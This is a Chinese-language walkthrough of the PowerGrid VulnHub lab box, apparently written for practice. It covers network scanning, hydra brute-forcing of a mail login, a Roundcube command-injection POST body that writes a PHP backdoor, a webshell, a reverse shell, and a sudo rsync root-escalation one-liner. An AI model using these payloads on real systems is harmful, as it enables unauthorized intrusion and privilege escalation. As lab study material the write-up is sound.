靶机下载地址: https://www.vulnhub.com/entry/powergrid-101,485/
教程链接地址 1: https://blog.csdn.net/Jonah_Bare/article/details/106961477
教程链接地址 2: https://www.hackingarticles.in/powergrid-1-0-1-vulnhub-walkthrough/
# 确认攻击目标
攻击机 KALI: 192.168.0.135 (由于设置成了 DHCP、可能多变)
靶机 POWERGRID:桥接于 192.168.0.1 的网卡,ip 未知
1 )确定靶机 ip 地址和开放的端口
由已至内网靶机所在主机 MAC 地址自动扫描靶机 ip
sudo arp-scan -l | grep 'a0' | awk '{print $1,$2}' | cut -d ' ' -f 1 | uniq

sudo arp-scan -l | grep 'a0' | awk '{print $1,$2}' | cut -d ' ' -f 1 | xargs sudo nmap -PA

sudo nmap -sVC -T4 -Pn --open -p- 192.168.0.1 90 --min-rate=5000

# 网站信息收集
打开 http://192.168.0.190/ 进行信息收集

收集到了三个用户名 deez 1 、p48 和 all 2
用 common.txt 字典扫了一波,没有扫到有价值的信息

换了个字典扫了一波,扫到了一个 zmail 的目录

访问之后得到了一个登陆页面
http://192.168.0.190/zmail

由于已经有了三个用户名了,是有机会爆破得到密码的
# hydra 爆破 http-get
选择模式为 http-get,选取密码为 rockyou.txt 开始爆破
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.0.190 -f http-get /zmail/ -t 64 -f -vV -o hydra.ssh

第一个用户爆破了 18 万次了还是没有爆破成功,等的有点着急,让这个继续爆破下起,同时在启一个 terminal 跑另外一个爆破选择第二个用户

hydra -l p48 -P /usr/share/wordlists/rockyou.txt 192.168.0.190 - f http-get /zmail/ -t 64 -f -vV -o hydra.ssh

在爆破到 12 万次的时候,得到了 p48 的密码 electrico

一个后台登陆地址,再次用 p48:electrico 登陆到其中成功

登陆成功,得到一个邮箱的后台界面

# roundcube 邮件系统
有一封邮件,看起来比较重要,看一下什么意思

就是有一个 gpg 加密后的 ssh 私钥文件,解开此私钥文件即可登陆 p 48

找了一圈没有找到 roundcude 的版本,直接用 searchsploit 搜索一波

将此 RCE 漏洞说明文件复制到本地,开始阅读,尝试测试能否突破

阅读后发现需要将 from 改为 example@example.com -OQueueDirectory=/tmp -X/var/www/html/rce.php,从_subject 参数中获取到 rce.php 脚本的内容

在后台中开是发送邮件,并且把数据拦截到 burp, 利用 burp 抓包,可以看到原始数据包有很多参数

伪造参数内容如下,其中 token 需要和自己抓到的数据的 token 一致
_token=krpJ9hLHabsYEAGsS98ipIVLRBfwHXwU&_task=mail&_action=send&_id=113154880062f70c5a90e16&_attachments=&_from=example@example.com -OQueueDirectory=/tmp -X/var/www/html/rce.php&_to=sssssss%40qq.com&_cc=&_bcc=&_replyto=&_followupto=&_subject=&editorSelector=plain&_priority=0&_store_target=Sent&_draft_saveid=&_draft=&_is_html=0&_framed=1&_message=aaa

页面访问发现没有看到 rce.php 的代码,但是不是 not found 的提示,说明我们已经成功的上传上去了一个后门

# shell 转移到 antsword
其他没有任何信息的页面应该是如下内容

这次直接写一个 post 的一句话后门,可用 antsword 连接

连接成功后门,可以继续往此后门中写入反弹 shell 的代码

写入 mkfifo 构造好的反弹 shell 的代码并保存

用 curl 执行的同时,用来监听这个端口等到接收反弹 shell

# gpg 文件解密
发现有 p48 这个用户,切换后输入 electrico 即可切换成功

发现了一个 gpg 的私钥文件,看来就是邮件系统中提醒我们用来解开 gpg 加密后的 ssh 密钥的一个密匙

有一个非常好的解密 gpg 的工具 https://pgptool.github.io/

下载好一个 jar 包,选取解密模块,将邮件系统中的 gpg 导入

提示需要一个密码,输入 p48 的密码 electrico

输入解密成功之后导出的文件的位置

解密成功得到了一个 ssh 的私钥文件

# docker 容器提权
没有用到在用户目录下得到的密匙文件,但是照样把这个 key 得到了,这个 key 理论上是可以登陆到 p48 用户的,但是需要注意的是,靶机上没有开放 ssh 端口,那我们应该怎么连呢
先把这个文件给 echo 到靶机上,并且改变私钥文件的权限

注意到当前靶机的 ip 地址中有 dokcer 网卡,既然靶机上没有开放 ssh 端口无法通过 p48 的密钥接入到 p48 用户上,那么是不是可以先用私钥文件进到一台开通了 ssh 协议的 docker 容器中呢,就试试看

测试一下出了 172.17.0.1 的网关地址之外,存活的 docker 主机,找到一台 172.17.0.2 是存活主机

ssh p48@172.17.0.2 -i id_rsa

成功进入到了 docker 容器内部,用的 p 48 这个用户进去的,看 hostname 像是在 docker 容器内部,而且有 sudo 权限设置错误,可以直接调用 root 的 rsync
sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null

提权到了 root 之后,由于我们还在 docker 内部,ip 也只有一个本地回环地址和一个 docker 虚拟出来的 ip,但是我们可以与 docker 的网关地址,即宿主机直接通信,连接到 172.17.0.1 就相当于连接到了宿主机,而我们在 docker 内部连的时候是不需要外部开通 22 端口的
ssh root@172.17.0.1

查看 ip 地址

-> 成功拿到了 root 权限,并且查看到 ip 是宿主机的 ip